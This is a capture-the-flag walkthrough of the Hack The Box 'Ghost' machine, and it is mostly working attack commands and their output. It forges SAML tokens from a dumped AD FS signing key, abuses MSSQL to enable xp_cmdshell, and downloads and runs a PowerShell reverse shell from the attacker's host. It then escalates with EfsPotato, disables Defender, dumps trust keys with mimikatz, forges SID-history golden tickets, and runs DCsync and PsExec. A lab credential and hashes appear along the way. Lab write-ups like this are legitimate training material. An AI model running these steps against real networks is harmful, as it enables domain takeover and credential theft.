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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier

[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

With the above juicy info. we can contract Golden SAML attack against core.ghost.htb portal.

  • For the attack to work we need the following:

    • The token signing certificate and its private key

    • The Distributed Key Manager (DKM) key from Active Directory

    • The list of services for which the AD FS server is configured to be an identity provider


Shell as mssql-service

To contract this attack, I need this tool:

  1. Save the private key to file with appropriate format

┌──(test)─(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ echo 'xxxxxxxx-70-2B-3F-D6-08-D5-BC-35-A9-84xxxxxxxxxxxx' | tr -d '-' | xxd -r -p > private_key.bin
  1. Save the Encrypted signing token with hex format

┌──(test)─(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ cat token.txt | base64 -d > token.bin
┌──(ADFSAttack)─(kali㉿kali)-[~/…/platform/machines/Ghost/ADFSpoof]
└─$ python ADFSpoof.py -b ../token.bin ../key2.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
/_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                        /_/                        

A tool to for AD FS security tokens
Created by @doughsec

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUU9KVFJXIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNC0wOC0yN1QxMToxMzoxNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfUkRaWjdNIiBJc3N1ZUluc3RhbnQ9IjIwMjQtMDgtMjdUMTE6MTM6MTUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1JEWlo3TSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPmpvU2pVV1g2RndxTStpaFIwQ2pOKzYrZ0d5R2ZoSFpQOE0yVVZ6MCtDeVE9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPm1IbC9LTjBwU2toaFQrcGtYZFVkZ1V0SFNMRSsvNE53Zjh1Rkl6TkFTQUhMR24rRURDcmFzTWNodGVHYm9kcDRtZDFsRnpkV2ZnVisvWUVhcGE4Ui9qVUFkd2xLcG1GVHh5UnlwNE9HM1c2TEhnczVJK3J6YkxSc0hRVEYvZ2FUcDhTUXpXSmVlK2V0aFpEMzJlUTZJMG00YWdVWUlJZUhhS0NhekQ3b2VCRGlzenk0V1QwSFAveVYydWRSNzAxV3dqMWc3SW9PQ0pGZ290bnJmd3ZYMFl5aGt1ZUhlbHhEekVvR25pa0NDSWlOcDNvRjJYYVI4NncySmpkd3FBdUt1VzV4M1pBSldGQm95b2xjRStIY09uUGd5akl2aUJ1YUJGejhQbmc0d1FFeit3N1FwQ3ZVaTcxRG1VdklNTzFlOGVVRVB4QnJuOEROeGdPUXN1YmR5WHhiREdWMmg4aTIyeDFGZ0NxMkRWdFJGQ0RLQmhUOVgveFF1WFZQaEpYZS9PMlRqTFE1aWRNZ3d3Z0hWSTF2TkJLcW9XdkVjdzRQOUdxMDRaMVhibjZqV1NKT2pVc0pJWWNvT3h6NkpxN2FrREtVR2NVUTNVVThsU2JHbmRRYm5kWGlZcUhSeUNXUFVqNGg5WUtJaTdGYzZuOHVDaHFSNHpGYnpFVlNObC9yYis0SWlEVkVvK01RdVZ3RmowNGRDQjh3dWZ2NVdQcVlUVzRtQkl6OUFxSjNvTUNBRUhucEdQY3FpRWtST2NEWHFtVzZPRHlOb0tqdlFWWUhUZUw5c1Z0UnlCVGhYSXNDZ2pYc3ZXaHZQT1haOFhWY0pGMEgvV0NadWVjdjR5cVJwczE2QTVhMjk5RjN6anRMZDE4Z0J4a0U3a1hrRFJLTDdxQXpvRk9mc0lrPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNC0wOC0yN1QxMToxODoxNS4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjQtMDgtMjdUMTE6MTM6MTUuMDAwWiIgTm90T25PckFmdGVyPSIyMDI0LTA4LTI3VDEyOjEzOjE1LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI0LTA4LTI3VDExOjEzOjE0LjUwMFoiIFNlc3Npb25JbmRleD0iX1JEWlo3TSI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D

Repeating this request in the browser and getting this page.

Intercept the request with burp and begin enumeration. I got there is a database link and the server's name is primary

I could impersonate user sa at PRIMARY server, So I can now enable xp_cmdshell and get RCE

EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure ''show advanced options'', 1; RECONFIGURE; EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE';exec xp_cmdshell "whoami") AT [PRIMARY]

you must execute EXECUTE AS LOGIN = 'sa' in each time you run commands

Get a Shell

I run PowerJoker.py to generate a reverse shell and host it as shell.ps1 on web server.

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ python3 /opt/PowerJoker/PowerJoker.py -l 10.10.16.9 -p 443

powershell -e <base64>

[PJ] Listening on 0.0.0.0:443
INFO:__main__:Waiting for sessions...

Executing the following command.

EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure ''show advanced options'', 1; RECONFIGURE; EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE;exec xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString(''http://10.10.16.9/shell.ps1'')"') AT [PRIMARY]

Receive a connection back.

[Successfully] Accepted connection from 10.10.11.24:49864
INFO:__main__:Live Session --> [SESSION ID::1, 10.10.11.24::49864 ]


10.10.11.24:49864 >>> [PJSession] 1: whoami
nt service\mssqlserver

I can confirm that I have SeImpersonatePrivilege that can be abused to elevate to SYSTEM

10.10.11.24:49864 >>> [PJSession] 1: whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled 

From the output below, I landed in corp.ghost.htb domain and not in ghost.htb

10.10.11.24:49864 >>> [PJSession] 1: Get-ADComputer -Filter *


DistinguishedName : CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb
DNSHostName       : PRIMARY.corp.ghost.htb
Enabled           : True
Name              : PRIMARY
ObjectClass       : computer
ObjectGUID        : 12591b27-1b8c-48a1-b436-4f1e0f6c712e
SamAccountName    : PRIMARY$
SID               : S-1-5-21-2034262909-2733679486-179904498-1000

Shell as SYSTEM

To escalate to SYSETM account, I used EfsPotato.exe. I also tried different options such as DeadPotato.exe but didn't work because AV.

I downloaded EfsPotato.cs from my kali to C:\programdata folder and compiled it with the following command as the repo. said.

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe C:\programdata\EfsPotato.cs -nowarn:1691,618

Get a shell as SYSTEM

After getting escalating to SYSTEM I can stop the antivirus.

Set-MpPreference -DisableRealtimeMonitoring $True

Parent Domain Compromise

I'm in corp.ghost.htb, So I can extract trust key and perform SID History Injection attack and to perform it, I need the following.

  1. Trust key in the direction of access: from corp.ghost.htb to ghost.htb

  2. SID of the domain corp.ghost.htb

  3. SID of Enterprise Admins Group

Get the trust key

.\mimikatz.exe 'lsadump::trust /patch' exit

Get SID of Enterprise Admins Group

Impacket-lookupsids ghost.htb/justin.bradley:`Qwertyuiop1234$$`@10.10.11.24 -domain-sids | grep -i "Enterprise Admins"

Forgue golden ticket.

.\mimikatz.exe 'kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:32c010a5a9fecbdb33e97b21b9daa306 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:administrator.kirbi' exit

User      : Administrator
Domain    : corp.ghost.htb (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 32c010a5a9fecbdb33e97b21b9daa306 - rc4_hmac_nt      
Service   : krbtgt
Target    : ghost.htb
Lifetime  : 8/27/2024 6:49:42 AM ; 8/25/2034 6:49:42 AM ; 8/25/2034 6:49:42 AM
-> Ticket : administrator.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Request Service ticket to access the file system

.\Rubeus.exe asktgs /dc:dc01.ghost.htb /service:cifs/dc01.ghost.htb /ticket:administrator.kirbi /nowrap /ptt

Access the File System of the domain Ghost.htb.

It should work but there is timing issue, So you must try until you get Access granted

JokerShell C:\programdata> ls \\dc01.ghost.htb\c$
ls : Access is denied
At line:1 char:6
+ . {  ls \\dc01.ghost.htb\c$
+      ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], UnauthorizedAccessExcept 
   ion
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
ls : Cannot find path '\\dc01.ghost.htb\c$' because it does not exist.
At line:1 char:6
+ . {  ls \\dc01.ghost.htb\c$
+      ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

Someone suggested this script to make the things work.

# Define the paths to the Mimikatz and Rubeus executables
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
# Define the Mimikatz and Rubeus commands
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:32c010a5a9fecbdb33e97b21b9daa306 /service:krbtgt /target:GHOST.HTB /ticket:xyz.kirbi" exit'
$rubeusCmd = "/ticket:xyz.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
# Define the directory to check
$targetDirectory = "\\dc01.ghost.htb\c$"
# Function to run a command and wait for it to complete
function Run-Command {
    param (
        [string]$cmd
    )
    & cmd /c $cmd | Out-Null
}
# Loop to keep trying until access is granted
while ($true) {
    try {
        # Run Mimikatz to dump trust information and create the Golden Ticket
        Run-Command "$mimikatzPath $mimikatzTrustCmd"
        Run-Command "$mimikatzPath $mimikatzGoldenCmd"
        
        # Run Rubeus to request the TGS and apply the ticket
        Run-Command "$rubeusPath asktgs $rubeusCmd"
        # Check if we can access the directory
        $access = Test-Path $targetDirectory
        if ($access) {
            Write-Host "Access granted to $targetDirectory"
            dir $targetDirectory
            break
        } else {
            Write-Host "Access denied. Purging tickets and retrying..."
            klist purge
        }
    } catch {
        Write-Host "An error occurred: $_"
        klist purge
    }
}

Access Granted :).

JokerShell C:\programdata> .\access.ps1

    Directory: \\dc01.ghost.htb\c$

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/22/2024   9:55 AM                Program Files
d-----         7/22/2024   9:55 AM                Program Files (x86)
d-r---          2/4/2024   1:48 PM                Users
d-----         7/10/2024   3:08 AM                Windows 

Get Administrator flag.

JokerShell C:\programdata> cat \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
12c170d191bc04efxxxxxxxxxxxxxxxxxx

Alternative way to perform DCsync attack using the cifs ticket and get administrator hash

.\mimikatz.exe kerberos::ptt cifs.kirbi lsadump::dcsync /user:ghost\administrator /domain:ghost.htb exit

Shell as Ghost Administrator

I put a reverse shell in C:\programdata\rce.ps1 and trigger it with PsExec.exe

Get Access to the DC

JokerShell C:\programdata> .\PsExec64.exe -accepteula \\DC01.ghost.htb cmd.exe /c "powershell -c C:\programdata\rce.ps1"
┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.24] 55739

JokerShell C:\Users\Administrator> whoami;hostname
corp\administrator
DC01
GitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).GitHub
ADIDNS poisoning | The Hacker Recipes
Logo
Ghost Content API DocumentationGhost - The Professional Publishing Platform
Logo
Logo
Active Directory - Federation Services - Internal All The Things
Logo
GitHub - szymex73/ADFSpoofGitHub
Logo